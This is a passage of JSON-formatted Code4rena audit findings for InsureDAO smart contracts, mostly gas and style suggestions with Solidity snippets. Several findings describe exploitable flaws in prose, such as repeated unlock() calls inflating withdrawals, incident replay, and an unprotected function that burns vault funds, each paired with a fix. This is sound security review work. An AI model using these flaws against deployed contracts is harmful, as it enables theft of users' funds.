`Factory.createMarket()`. This will prevent malicious market creators from forcing vault deposits from unsuspecting users who are approved in `Factory.sol` and have also approved `Vault.sol` to make transfers on their behalf. "}, {"title": "[WP-G7] `InsureDAOERC20#transferFrom()` Check of allowance can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/219", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details Check of allowance can be done earlier (before `_transfer()`) to save some gas for failure transactions. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/InsureDAOERC20.sol#L152-L168 ```solidity function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } ``` See: - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/80d8da05644ceef3cd8e81860882571f037f8667/contracts/token/ERC20/ERC20.sol#L162-L169 "}, {"title": "[WP-G6] Remove redundant code can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/218", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details Removing `return 0` can make the code simpler and save some gas. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L295-L303 ```solidity function rate() external view returns (uint256) { if (totalSupply() > 0) { return (vault.attributionValue(crowdPool) * MAGIC_SCALE_1E6) / totalSupply(); } else { return 0; } } ``` ### Recommendation Can be changed to: ```solidity function rate() external view returns (uint256) { if (totalSupply() > 0) { return (vault.attributionValue(crowdPool) * MAGIC_SCALE_1E6) / totalSupply(); } } ``` Other examples include: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L312-L317 ```solidity if (_balance == 0) { return 0; } else { return _balance * vault.attributionValue(crowdPool) / totalSupply(); } ``` Can be changed to: ```solidity if (_balance > 0) { return _balance * vault.attributionValue(crowdPool) / totalSupply(); } ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L176-L176 ```solidity for (uint256 i = 0; i < _references.length; i++) ``` Can be changed to: ```solidity for (uint256 i; i < _references.length; i++) ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L493-L497 ```solidity if (totalLiquidity() > 0) { return (totalAllocatedCredit * MAGIC_SCALE_1E6) / totalLiquidity(); } else { return 0; } ``` Can be changed to: ```solidity if (totalLiquidity() > 0) { return (totalAllocatedCredit * MAGIC_SCALE_1E6) / totalLiquidity(); } ``` "}, {"title": "[WP-N5] Missing error messages in require statements", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/217", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L288-L288 ```solidity require(registry.isListed(msg.sender)); ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L100-L100 ```solidity require(address(_template) != address(0)); ``` "}, {"title": "[WP-G4] Remove unnecessary variables can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/216", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L109-L113 ```solidity string memory _name = \"InsureDAO-CDS\"; string memory _symbol = \"iCDS\"; uint8 _decimals = IERC20Metadata(_references[0]).decimals(); initializeToken(_name, _symbol, _decimals); ``` The local variable `_name`, `_symbol`, `_decimals` is used only once. Making the expression inline can save gas. ### Recommendation Change to: ```solidity initializeToken(\"InsureDAO-CDS\", \"iCDS\", IERC20Metadata(_references[0]).decimals()); ``` Other examples include: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L189-L190 ```solidity uint256 _balance = balanceOf(msg.sender); require(_balance >= _amount, \"ERROR: REQUEST_EXCEED_BALANCE\"); ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L257-L257 ```solidity uint256 _surplusAttribution = surplusPool; ``` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/Callback.sol#L62-L63 ```solidity uint256 _assetReserve = asset.safeBalance(); require(_assetReserve >= assetReserve + assetIn, 'E304'); ``` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/Callback.sol#L51-L52 ```solidity uint256 _collateralReserve = collateral.safeBalance(); require(_collateralReserve >= collateralReserve + collateralIn, 'E305'); ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L456-L463 ```solidity uint256 _shortage; if (totalLiquidity() < _amount) { //Insolvency case _shortage = _amount - _value; uint256 _cds = ICDSTemplate(registry.getCDS(address(this))) .compensate(_shortage); _compensated = _value + _cds; } ``` `_shortage` and `_cds`. "}, {"title": "[WP-G3] `AuctionBurnReserveSkew.sol#deposit()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/215", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L140-L148 ```solidity if (_supply > 0 && _liquidity > 0) { _mintAmount = (_amount * _supply) / _liquidity; } else if (_supply > 0 && _liquidity == 0) { //when vault lose all underwritten asset = _mintAmount = _amount * _supply; //dilute LP token value af. Start CDS again. } else { //when _supply == 0, _mintAmount = _amount; } ``` ### Recommendation Change to: ```solidity if (_supply == 0) { _mintAmount = _amount; } else { _mintAmount = _liquidity == 0 ? _amount * _supply : (_amount * _supply) / _liquidity; } ``` - Removed 2 checks; - Removed 1 branch; - Simpler branch (costs less gas) goes first. "}, {"title": "[WP-G1] `InsureDAOERC20#transferFrom()` Do not reduce approval on transferFrom if current allowance is type(uint256).max", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/213", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details The Wrapped Ether (WETH) ERC-20 contract has a gas optimization that does not update the allowance if it is the max uint. The latest version of OpenZeppelin's ERC20 token contract also adopted this optimization. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/InsureDAOERC20.sol#L152-L168 ```solidity function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } ``` See: - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/80d8da05644ceef3cd8e81860882571f037f8667/contracts/token/ERC20/ERC20.sol#L162 - https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3085 ### Recommendation Change to: ```solidity function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\" ); _approve(sender, _msgSender(), currentAllowance - amount); } return true; } ``` "}, {"title": "[WP-N0] Race condition on ERC20 approval", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/212", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "[WP-N0] Race condition on ERC20 approval"}, {"title": "Avoid unnecessary code execution can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Avoid unnecessary code execution can save gas"}, {"title": "Factory. createMarket doesn't check if input array length is too big", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/198", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Factory. createMarket doesn't check if input array length is too big"}, {"title": "Vault. withdrawValue will fail on subtraction if there are not enough _attributions", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/197", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle hyh # Vulnerability details ## Impact System will fail on low-level subtraction without proper logic level error, which can be an issue for troubleshooting and further programmatic usages by other projects. ## Proof of Concept Whenever user lacks _attributions (Vault shares) for the withdraw amount requested, the system will fail on subtraction: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Vault.sol#L160 ## Recommended Mitigation Steps Consider adding a check for the enough _attributions throwing a corresponding error "}, {"title": "Multiple boolean comparrisons", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/194", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle loop # Vulnerability details When checking boolean values in a require or if statement it's an unnecessary operation to compare them to `true`, as it's already checked whether the condition is `true`. For comparison to `false`, it is cheaper to use the `!` operator rather than compare the value. ## Proof of Concept Lines where boolean comparison is used: - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L99 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L131 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L161 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L176 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L205 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L122 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L142 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L166-L169 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L178-L179 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L204 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L132 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L165 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L217 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L365 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L464 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L184 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L234 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L260 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L354 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L388 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L491 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L550 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L612 - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L664 ## Recommended Mitigation Steps Remove the `== true` part from boolean comparisons and change `_variableName == false` to `!_variableName` to save some gas. "}, {"title": "Typo in PoolTemplate unlock function results in user being able to unlock multiple times", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/192", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle loop # Vulnerability details The function `unlock()` in PoolTemplate has a typo where it compares `insurances[_id].status` to `false` rather than setting it to `false`. If the conditions are met to unlock the funds for an id, the user should be able to call the `unlock()` function once for that id as `insurances[_id].amount` is subtracted from `lockedAmount`. However, since `insurances[_id].status` does not get set to `false`, a user can call `unlock()` multiple times for the same id, resulting in `lockedAmount` being way smaller than it should be since `insurances[_id].amount` is subtracted multiple times. ## Impact `lockedAmount` is used to calculate the amount of underlying tokens available for withdrawals. If `lockedAmount` is lower than it should be users are able to withdraw more underlying tokens than available for withdrawals. ## Proof of Concept Typo in `unlock()`: - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L360-L362 Calculation of underlying tokens available for withdrawal: - https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L836 ## Recommended Mitigation Steps Change `insurances[_id].status == false;` to `insurances[_id].status = false;` "}, {"title": "PoolTemplate worth function description is incorrect", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/189", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle hyh # Vulnerability details ## Impact Underlying and index tokens are mixed up in the worth() function description, making code and its description conflicting ## Proof of Concept Worth() computes how many iTokens correspond to given amount of underlying. The description says otherwise, mixing them up: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L794-798 ## Recommended Mitigation Steps Fix the description to say that \u2018_value' is the amount of underlying, while the '_amount' is the corresponding output quantity of iTokens "}, {"title": "set `_mintAmount = _amount;` in the memory can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/188", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "set `_mintAmount = _amount;` in the memory can save gas"}, {"title": "Remove unnecessary if statements for gas optimization ", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/186", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle ospwner # Vulnerability details ## Impact Checking arrays' length before using it in a for loop is unnecessary when array's length is used in loop exit condition. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L175 ``` if (_references.length > 0) { for (uint256 i = 0; i < _references.length; i++) ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L185 ``` if (_conditions.length > 0) { for (uint256 i = 0; i < _conditions.length; i++) ``` ## Recommended Mitigation Steps Remove the two unnecessary if statements. "}, {"title": "Signature replay", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/184", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Signature replay in `PoolTemplate`. ## Proof of Concept The `redeem` method of `PoolTemplate` verifies the data stored in `incident`, and the verification logic of this process is performed as following: ``` require( MerkleProof.verify( _merkleProof, _targets, keccak256( abi.encodePacked(_insurance.target, _insurance.insured) ) ) || MerkleProof.verify( _merkleProof, _targets, keccak256(abi.encodePacked(_insurance.target, address(0))) ), \"ERROR: INSURANCE_EXEMPTED\" ); ``` As can be seen, the only data related to the `_insurance` are` target` and `insured`, so as the incident has no relation with the` Insurance`, apparently nothing prevents a user to call `insure` with high amounts, after receive the incident, the only thing that prevents this from being reused is that the owner creates the incident with an `_incidentTimestamp` from the past. So if a owner create a incident from the future it's possible to create a new `insure` that could be reused by the same affected address. Another lack of input verification that could facilitate this attack is the `_span=0` in the `insure` method. ## Tools Used Manual review. ## Recommended Mitigation Steps It is mandatory to add a check in `applyCover` that` _incidentTimestamp` is less than the current date and the `span` argument is greater than 0 in the` insure` method. "}, {"title": "anyone can get money from an incident without paying beforehand", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/183", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "anyone can get money from an incident without paying beforehand"}, {"title": "Avoid use of state variables in event emissions to save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/182", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-01-insure-findings", "body": "Avoid use of state variables in event emissions to save gas"}, {"title": "Checking non-zero value can avoid an external call to save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/181", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Checking non-zero value can avoid an external call to save gas"}, {"title": "Caching variables", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/178", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Caching variables"}, {"title": "Incorrect Natspec can lead to errors", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/176", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle 0xngndev # Vulnerability details ## Impact Unclear Natspec may confuse the user. In the `fund` function: - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L160](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L160) The Natspec is a copy-paste of the `deposit` function: - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L130](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L130) The problem here is the **receives ITokens** part of the Natspec. The deposit function indeed mints tokens to the `msg.sender` but the `fund` function doesn\u2019t. I would clarify that the `fund` function adds attributions to the surplusPool. Another minor and unclear bit of Natspec happens here: [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Vault.sol#L177](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Vault.sol#L177) It describes `_amount` as sender of value instead of something like **amount of value to send.** ## Recommended Mitigation Steps Explain the Natspec of the `fund` function in more detail. Fix the `transferValue` amount natspec. Also it would be good to add some Natspec to the `defund` function too. "}, {"title": "Edge case in withdrawValue may lead to failed transactions", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/174", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Edge case in withdrawValue may lead to failed transactions"}, {"title": "Grouping Repeated Logic Into a Modifier To Save on Deployment Costs", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/172", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Grouping Repeated Logic Into a Modifier To Save on Deployment Costs"}, {"title": "Moving Variable Declarations Before Error Checks Can Save Gas on Failure", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/170", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle 0xngndev # Vulnerability details ## Impact In `PoolTemplate.sol` there are multiple instances where variables are declared before the error checks of the functions. In cases where a function reverts due to these error checks, that extra computation of calculating the variable being declared can be avoided by simply moving the declaration after the error checks. Here are all the functions I found where this can be applied: - `withdraw` function: [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L293](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L293) - `withdrawCredit` function: [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L416](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L416) - `insure` function: [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L465](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L465) - `reedem` function: [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L548](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L548) ## Recommended Mitigation Steps - Change `withdraw` function to: ```solidity function withdraw(uint256 _amount) external returns (uint256 _retVal) { require( marketStatus == MarketStatus.Trading, \"ERROR: WITHDRAWAL_PENDING\" ); require( withdrawalReq[msg.sender].timestamp + parameters.getLockup(msg.sender) < block.timestamp, \"ERROR: WITHDRAWAL_QUEUE\" ); require( withdrawalReq[msg.sender].timestamp + parameters.getLockup(msg.sender) + parameters.getWithdrawable(msg.sender) > block.timestamp, \"ERROR: WITHDRAWAL_NO_ACTIVE_REQUEST\" ); require( withdrawalReq[msg.sender].amount >= _amount, \"ERROR: WITHDRAWAL_EXCEEDED_REQUEST\" ); require(_amount > 0, \"ERROR: WITHDRAWAL_ZERO\"); require( _retVal <= availableBalance(), \"ERROR: WITHDRAW_INSUFFICIENT_LIQUIDITY\" ); uint256 _supply = totalSupply(); require(_supply != 0, \"ERROR: NO_AVAILABLE_LIQUIDITY\"); uint256 _liquidity = originalLiquidity(); _retVal = (_amount * _liquidity) / _supply; //reduce requested amount withdrawalReq[msg.sender].amount -= _amount; //Burn iToken _burn(msg.sender, _amount); //Withdraw liquidity vault.withdrawValue(_retVal, msg.sender); emit Withdraw(msg.sender, _amount, _retVal); } ``` - Change `withdrawCredit` function to: ```solidity function withdrawCredit(uint256 _credit) external override returns (uint256 _pending) { IndexInfo storage _index = indicies[msg.sender]; require( IRegistry(registry).isListed(msg.sender) && _index.credit >= _credit && _credit <= availableBalance(), \"ERROR: WITHDRAW_CREDIT_BAD_CONDITIONS\" ); uint256 _rewardPerCredit = rewardPerCredit; //calculate acrrued premium _pending = _sub( (_index.credit * _rewardPerCredit) / MAGIC_SCALE_1E6, _index.rewardDebt ); //Withdraw liquidity if (_credit > 0) { totalCredit -= _credit; _index.credit -= _credit; emit CreditDecrease(msg.sender, _credit); } //withdraw acrrued premium if (_pending > 0) { vault.transferAttribution(_pending, msg.sender); attributionDebt -= _pending; _index.rewardDebt = (_index.credit * _rewardPerCredit) / MAGIC_SCALE_1E6; } } ``` - Change `insure` function to: ```solidity function insure( uint256 _amount, uint256 _maxCost, uint256 _span, bytes32 _target ) external returns (uint256) { //Distribute premium and fee uint256 _premium = getPremium(_amount, _span); require( _amount <= availableBalance(), \"ERROR: INSURE_EXCEEDED_AVAILABLE_BALANCE\" ); require(_premium <= _maxCost, \"ERROR: INSURE_EXCEEDED_MAX_COST\"); require(_span <= 365 days, \"ERROR: INSURE_EXCEEDED_MAX_SPAN\"); require( parameters.getMinDate(msg.sender) <= _span, \"ERROR: INSURE_SPAN_BELOW_MIN\" ); require( marketStatus == MarketStatus.Trading, \"ERROR: INSURE_MARKET_PENDING\" ); require(paused == false, \"ERROR: INSURE_MARKET_PAUSED\"); uint256 _endTime = _span + block.timestamp; uint256 _fee = parameters.getFeeRate(msg.sender); //current liquidity uint256 _liquidity = totalLiquidity(); uint256 _totalCredit = totalCredit; //accrue premium/fee uint256[2] memory _newAttribution = vault.addValueBatch( _premium, msg.sender, [address(this), parameters.getOwner()], [MAGIC_SCALE_1E6 - _fee, _fee] ); //Lock covered amount uint256 _id = allInsuranceCount; lockedAmount += _amount; Insurance memory _insurance = Insurance( _id, block.timestamp, _endTime, _amount, _target, msg.sender, true ); insurances[_id] = _insurance; allInsuranceCount += 1; //Calculate liquidity for index if (_totalCredit > 0) { uint256 _attributionForIndex = (_newAttribution[0] * _totalCredit) / _liquidity; attributionDebt += _attributionForIndex; rewardPerCredit += ((_attributionForIndex * MAGIC_SCALE_1E6) / _totalCredit); } emit Insured( _id, _amount, _target, block.timestamp, _endTime, msg.sender, _premium ); return _id; } ``` - Change `redeem` function to: ```solidity function redeem(uint256 _id, bytes32[] calldata _merkleProof) external { require( marketStatus == MarketStatus.Payingout, \"ERROR: NO_APPLICABLE_INCIDENT\" ); Insurance storage _insurance = insurances[_id]; require(_insurance.status == true, \"ERROR: INSURANCE_NOT_ACTIVE\"); require(_insurance.insured == msg.sender, \"ERROR: NOT_YOUR_INSURANCE\"); uint256 _incidentTimestamp = incident.incidentTimestamp; require( marketStatus == MarketStatus.Payingout && _insurance.startTime <= _incidentTimestamp && _insurance.endTime >= _incidentTimestamp, \"ERROR: INSURANCE_NOT_APPLICABLE\" ); bytes32 _targets = incident.merkleRoot; require( MerkleProof.verify( _merkleProof, _targets, keccak256( abi.encodePacked(_insurance.target, _insurance.insured) ) ) || MerkleProof.verify( _merkleProof, _targets, keccak256(abi.encodePacked(_insurance.target, address(0))) ), \"ERROR: INSURANCE_EXEMPTED\" ); uint256 _payoutNumerator = incident.payoutNumerator; uint256 _payoutDenominator = incident.payoutDenominator; _insurance.status = false; lockedAmount -= _insurance.amount; uint256 _payoutAmount = (_insurance.amount * _payoutNumerator) / _payoutDenominator; vault.borrowValue(_payoutAmount, msg.sender); emit Redeemed( _id, msg.sender, _insurance.target, _insurance.amount, _payoutAmount ); } ``` "}, {"title": "Unnecessary use of _msgSender()", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/166", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Jujic # Vulnerability details ## Impact The use of _msgSender() when there is no implementation of a meta transaction mechanism that uses it, such as EIP-2771, very slightly increases gas consumption. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/InsureDAOERC20.sol#L105 ``` function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } ``` ## Tools Used Remix ## Recommended Mitigation Steps Replace _msgSender() with msg.sender if there is no mechanism to support meta-transactions like EIP-2771 implemented. "}, {"title": "The fund function of the CDSTemplate contract does not match the description", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/161", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle cccz # Vulnerability details ## Impact The fund function of the CDSTemplate contract does not match the description, the caller will not receive any iToken after sending tokens, and the owner can take away the tokens in surplusPool. ``` /** * @notice A liquidity provider supplies collatral to the pool and receives iTokens * @param _amount amount of token to deposit */ function fund(uint256 _amount) external { require(paused == false, \"ERROR: PAUSED\"); //deposit and pay fees uint256 _attribution = vault.addValue( _amount, msg.sender, address(this) ); surplusPool += _attribution; emit Fund(msg.sender, _amount, _attribution); } function defund(uint256 _amount) external override onlyOwner { require(paused == false, \"ERROR: PAUSED\"); uint256 _attribution = vault.withdrawValue(_amount, msg.sender); surplusPool -= _attribution; emit Defund(msg.sender, _amount, _attribution); } ``` ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L156-L182 ## Tools Used Manual analysis ## Recommended Mitigation Steps Change the description of the fund function or send iToken to the caller "}, {"title": "Owner can call `applyCover` multiple times in `PoolTemplate.sol`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/160", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle camden # Vulnerability details ## Impact The owner could potentially extend the insurance period indefinitely in the `applyCover` function without ever allowing the market to resume. This is because there is no check in `applyCover` to ensure that the market is in a `Trading` state. This can also allow the owner to emit fraudulent `MarketStatusChanged` events. ## Recommended Mitigation Steps Require that the market be in a `Trading` state to allow another `applyCover` call. "}, {"title": "Remove unnecessary address cast in Vault.sol", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/159", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The Vault.sol contract contains several state variables of type address. There is no need to cast these variable to type address because they are already of type address. Removing the cast function can save gas. ## Proof of Concept The token address state variable is unnecessarily cast to address type in two places in Vault.sol: - [Line 350](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L350) - [Line 467](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L467) ## Recommended Mitigation Steps Remove the unnecessary address cast from address variables. "}, {"title": "Tokens can be burned with no access control", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/158", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The Vault.sol contract has two address state variables, the `keeper` variable and the `controller` variable, which are both permitted to be the zero address. If both variables are zero simultaneously, any address can burn the available funds (available funds = balance - totalDebt) by sending these tokens to the zero address with the unprotected `utilitize()` function. If a user has no totalDebt, the user can lose their entire underlying token balance because of this. ## Proof of Concept The problematic `utilize()` function is [found here](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L342-L352). To see how the two preconditions can occur: 1. The keeper state variable is only changed by the `setKeeper()` function [found 